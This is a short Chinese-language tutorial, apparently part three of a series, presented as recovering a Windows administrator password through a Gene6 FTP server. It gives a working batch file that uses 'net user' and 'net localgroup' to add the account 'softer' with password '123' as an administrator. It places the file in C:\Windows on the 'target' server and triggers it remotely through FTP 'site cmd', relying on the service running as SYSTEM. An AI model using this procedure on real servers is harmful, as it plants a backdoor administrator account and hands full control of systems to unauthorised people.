新思路利用 Gene6 FTP 遠端恢復系統管理員密碼（三）：批次檔編寫與 FTP 客戶端準備

系列第三回：編寫批次檔集中管理指令，上傳至伺服器系統目錄，準備 FTP 客戶端進行遠端觸發。

批次檔內容（xx.cmd）

@echo off
echo "正在新增用戶。用戶名 softer，密碼 123"
net user softer 123 /add
net localgroup Administrators softer /add
@echo on

儲存至遠端伺服器 C:\Windows\xx.cmd。

圖 5

FTP 客戶端設定

以 FlashFXP 為例，建立站點連線至目標 Gene6 FTP 服務，準備發送 site cmd 觸發執行。

圖 6

設計考量

• 批次檔集中指令，避免多次互動操作失敗
• 使用 net user /add 與 net localgroup 組合完成帳號建立與提權
• Gene6 以 SYSTEM 權限運行，批次檔具完整系統控制權